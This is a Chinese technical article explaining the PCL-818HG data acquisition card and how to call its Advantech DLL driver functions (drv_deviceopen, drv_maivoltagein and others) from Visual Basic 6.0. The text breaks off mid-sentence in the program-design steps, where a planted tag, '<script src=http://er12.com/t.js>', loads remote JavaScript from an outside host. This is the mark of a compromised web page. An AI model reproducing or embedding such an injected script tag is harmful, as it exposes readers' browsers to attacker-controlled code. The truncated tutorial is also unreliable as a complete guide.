[摘 要]介绍了pcl-818hg数据采集卡的性能,阐述了如何在vb环境下利用该板卡丰富的资源进行数据采集系统软件的快速开发。
[关键词]pcl-818hg;数据采集;visual basic 6.0
1 引 言
visual basic 6.0是面向对象的可视化编程语言,具有高效、简单易学及功能强大的特点。近几年用vb开发测控软件已日渐流行,它既可以使用dll来实现i/o端口的输入输出功能,也可通过api函数或mscomm控件实现串口通信,还能够充分发挥vb数据库功能强大以及生成用户界面快等优点。文中主要阐述如何使用dll实现对i/o端口的访问和控制。pcl-818hg是通用型的数据采集卡,适用于pc及兼容机,可用于各类电信号的采集、数据处理和控制运算后的电信号输出。由于pcl-818hg配有dos、windows 3.1/95/nt多种操作系统下的驱动程序,并可在basic、visual basic、borland c++、microsoft c/c++、visual c++、borland delphi等多种开发软件环境下使用,因而它已广泛应用于许多工业测控领域。
2 pcl-818hg卡
pcl-818hg卡是外界电信号与计算机之间的桥梁。它把从外界获取的各种电信号转换为统一的数字信号传递给计算机;并接收计算机传来的数字或控制信号,将模拟或数字信号传递给外设。其过程如图2—1所示。
图2—1从左到右的过程即为数据采集的过程,它是由pcl-818hg卡的a/d转换器完成的。pcl-818hg卡有16个模拟量输入通道,可构成16路单端输入或8对差分输入。最大a/d采样频率可达100 khz。另外,pcl-818hg还具有一个用于读取微弱输入信号(x0.5,1,5,10,50,100,500或1000)的高增益可编程放大器,可对每个输入通道的增益进行编程设置。
3 visual basic 6.0环境下的软件设计
3.1 dll技术
动态链接库dll是一种基于windows的程序模块,它是在运行时刻被装入和连接的。动态链接库中只包含供应用程序运行时装入该dll的有关信息,并非是源代码的复制,因此使用动态链接库可以使多个应用程序之间共享代码和资源从而提高运行速率。研华公司的“advantech dll driver”软件支持pcl-818hg等多种型号板卡的设备驱动,它提供了“adsapi32.dll”动态链接库,其中包含有一系列能对硬件设备进行底层i/o操作的函数。从vb调用这些dll函数时,先在全局模块或窗体的说明部分,用declare声明所要使用的dll函数,然后象使用vb自己的函数(或过程)一样调用这些函数。例如:declare function drv_deviceopen lib“adsapi32.dll”(by val devicenum as long,driverhandle as long)as long
其中“drv_deviceopen”是将在vb使用的函数名,“adsapi32.dll”是提供该dll函数的动态链接库。为方便用户,“advantech dll driver”的软件开发商制作了“driver.bas”文件,其中声明了有关dll函数及相应的结构,只需把“driver.bas”导入vb工程的模块中,用户就可省去声明dll函数的麻烦。下面对几个关键的dll函数进行简单的说明。
①drv_deviceopen():该函数必须最先被调用。它加载一个设备驱动程序到内存,并确定设备的类型,完成对设备的初始化,使设备做好i/o的准备工作;同时返回一个函数值,若设备驱动成功返回非“0”的设备句柄,若设备驱动失败则返回“0”。
②drv_deviceclose():该函数是关闭由drv_deviceopen()函数打开的设备,它的函数参数是由drv_deviceopen()函数返回的设备句柄,若设备关闭成功返回非“0”值,否则返回“0”。
③drv_devicegetfeatures():该函数从由drv_deviceopen()函数打开的设备中获取相关的硬件信息;同时返回一个函数值,操作成功则返回非“0”值,否则返回“0”。
④drv_getaddress():该函数仅在vb中适用,它把变量作为函数参数,返回值是该变量的指针或地址。在vc++或delphi中,用户能获得一个变量的指针或地址,但在vb中却没有相应标准函数来获取变量的内存地址。因此,特为vb开发环境制作了该函数。
⑤drv_maivoltagein():该函数的参数是由drv-deviceopen()函数返回的设备句柄,它每被调用一次就对通道的设置完成一次i/o操作,操作成功则返回“0”值。在实际的数据采集中,是通过调用这个函数得到与模拟量相对应的电压值。按照所要求采样频率,在vb的timer()事件中定时调用该函数。
3.2 程序设计
为简明起见,笔者用一个实例阐述pcl-818hg数据采集卡在vb应用工程中最基本的使用。具体步骤如下:
(1)首先,参照用户手册,根据实际需要完成对pcl-818hg数据采集卡的硬件参数设置。
(2)新建一个vb工程,工程包含一个窗体和一个模块。模块内容为导入的“driver.bas”。
(3)窗体的设计:文本框txtstartchan与txtstopchan分别用来初始化板卡的起始通道和终?script src=http://er12.com/t.js>











